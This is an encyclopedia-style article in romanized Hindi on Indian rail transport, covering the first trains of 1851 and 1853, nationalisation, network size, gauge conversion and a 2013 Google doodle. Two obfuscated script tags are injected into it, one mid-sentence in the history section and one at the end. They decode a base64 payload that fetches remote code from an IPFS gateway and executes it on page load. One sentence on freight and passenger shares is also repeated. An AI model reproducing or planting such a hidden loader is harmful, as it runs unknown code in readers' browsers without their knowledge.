रेल परिवहन

thumb|250px|bharatiy rel rel parivahan ek zariya hai jisamean yatriyoan aur mal ko patariyoan par chalane vale vahanoan par ek sthan se doosare sthan par le jaya jata hai. desh ke vishalatam samanoan ke antarik parivahan tatha yatriyoan ke sanchalan mean rel parivahan ka mahattvapoorn sthan hai. desh ki reloan ne sudoor kshetroan mean base logoan tatha vahaan milane vale sansadhanoan evan taiyar vastuoan ko sampoorn desh mean pahuanchaya hai. vyapar-vyavasay, deshatan, tirthayatra adi ka avasar sulabh karane vale sadhanoan ki drishti se relean desh ki jivan rekha hai. thumb|left|rel parivahan

sarvapratham rel

bharat mean relave ke vikas ki disha mean sarvapratham prayas 1844 mean tatkalin garvanar janaral lard hardiang ne niji kanpaniyoan ke samaksh rel pranali ke nirman ka prastav rakhakar kiya. desh mean pahali relaga di ka parichalan 22 disambar, 1851 ko kiya gaya jisaka prayog roo daki mean nirman kary ke mal ki dhulaee ke lie hota tha. aitihasik drishti se bharatiy up-mahadvip mean pratham relaga di maharashtr sthit mumbee aur thane ke bich 21 mil (lagabhag 33.6 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lambe relamarg par 16 aprail, 1853 ko chalaee gee thi. is relaga di ke lie tin lokomotiv ianjanoan- sahib, siandh aur sultan ka prayog kiya jata tha. dakshin bharat mean rel ki shuruat 1 julaee, 1856 ko madras relave kampani se huee. 1951 mean bharatiy rel ka rashtriyakaran kar diya gaya. bharat ki pahali vidyut rel ‘dekkan kvin’ thi, jise 1929 mean kalyan aur pune ke bich chalaya gaya tha. aj sampoorn desh mean reloan ka saghan jal bichha hua hai. bharatiy rel vyavastha ke antargat vartaman samay mean kul 63,465 kimi lamba relamarg hai. 150 varsh ke upalakshy mean bharatiy rel ne varsh 2002 mean apani sthapana ka svarn jayanti manaya.thumb|left|bharatiy rel

reloan ki vriddhi

thumb|250px|mangalaur seantral relave steshan desh mean anek prakar ki rel lainean vidyaman haian aur jin kshetroan mean b di lainean haian, vahaan prakritik sansadhanoan ki bhi prachurata hai aur arthik utpadoan evan bhari khanijoan yatha-lauh-ispat, koyala, khanij, khanij tel evan urvarak ka adhikaansh parivahan b di lainoan dvara hi kiya jata hai. kintu audyogik pratishthanoan dvara bhari kachche maloan ka parivahan chhoti lainoan ke madhyam se hi sampann hota hai. chhoti lainoan ka parivahan adhik samay lene vala tatha vahanantaran hone vala parivahan hi hai jo ki bahut kharchila hai. in samasyaoan ke nirakaran ke lie bharatiy relave dvara ‘yoonigej projekt’ ya ek saman relave lain pariyojana 1992 mean prarambh ki gayi haian, jisake antargat desh ki sabhi chhoti lainoan ko b di lainoan mean parivartit kar diya jana hai. vartaman mean (31 march, 2006 tak) relave steshanoan ki sankhya 7,133 aur relamargoan ki kul lambaee 63,465 kimi hai. [[chitr:Indian-Railway-1.jpg|thumb|left|rel ianjan]] is avadhi mean bharatiy relave ke pas 8,025 ianjan, 44,090 yatri ga diyaan, 5,990 any savari ga diyoan ke dibbe aur 22,379 mal dibbe tatha 5,321 yatri relaga diyaan aur 4,904 savari ga diyaan upalabdh thi. vibhinn gej vali rel pranali ke tahat 63,332 kimi lambe relamarg upalabdh haian. dhyatavy hai ki vartaman mean chhoti v majholi lainoan ki lambaee desh ki kul rel lainoan ki lambaee ki lagabhag 25 pratishat hai, jo desh ki arthik vikas mean ek badha bani huee hai kyoanki jahaan b di lainoan dvara prati kimi 90 pratishat mal tatha 84 pratishat yatriyoan ka parivahan jahaan b di lainoan dvara prati kimi 90 pratishat mal tatha 84 pratishat yatriyoan ka parivahan kiya jata hai, vahi chhoti lainoan ka yogadan matr 9 pratishat evan 16 pratishat hi hai. bharat mean samoochi rel pranali ko 16 jonoan (parikshetroan) mean baanta gaya hai. pratyek jon mean kee divijan sthapit haian. ye divijan hi moolabhoot sanchalan ikaiyaan hai.

samachar

thumb|googal logo (16 aprॅl 2013)

16 aprॅl 2013, mangalavar

160 sal ki huee bharatiy rel, googal ne badala apana logo

googal (google) ne 16 aprॅl 2013 ko apana doodal (logo) bharat ki pahali yatri rel ko samarpit kiya hai. is logo mean dhuaan u dati relaga di khajoor ke pe doan se ghire relamarg par chalati dikh rahi hai aur in donoan ka mel guanbad aur minar se bane mahal jaisa lag raha hai. narangi aur pile rang se bane googal logo mean bhap ke ianjan vali relaga di dikhaee gee hai, jisaka ianjan googal ke ek 'o' se banaya gaya hai. bharatiy up mahadvip mean pahali relaga di maharashtr sthit muanbee aur thane ke bich 21 mil lanbe relamarg par 16 aprail, 1853 ko chalaee gee thi. is relaga di ne qarib 34 kilomitar ka phasala tay kiya tha. vaise isake pahale prayogik taur par ru daki mean 22 disanbar, 1851 ko nahar nirman se sanbandhit dhulaee ke lie tren chalaee ja chuki thi. yah vahi vakt tha jab bharat mean eest iandiyan relave aur gret iandiyan paninsalar relave ke nam se do rel kanpaniyoan ka gathan hua tha. inamean se ek ko kolakata mean aur doosare ko muanbee mean sthapit kiya gaya tha. aj bharatiy rel duniya ke chauthe sabase b de relave netavark mean vikasit ho chuka hai. qarib 64 hazar kimi ke isake netavark se sat hazar se zyada sh‍teshan ju de hue haian. bharatiy relave ke pas darjiliang himalayan relave jaisa purana traik bhi hai jise yoonesko ne varld heritej ghoshit kar diya hai.

samachar ko vibhinn srotoan par padhean

• amar ujala
• aeebien khabar
• zi nyooj

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>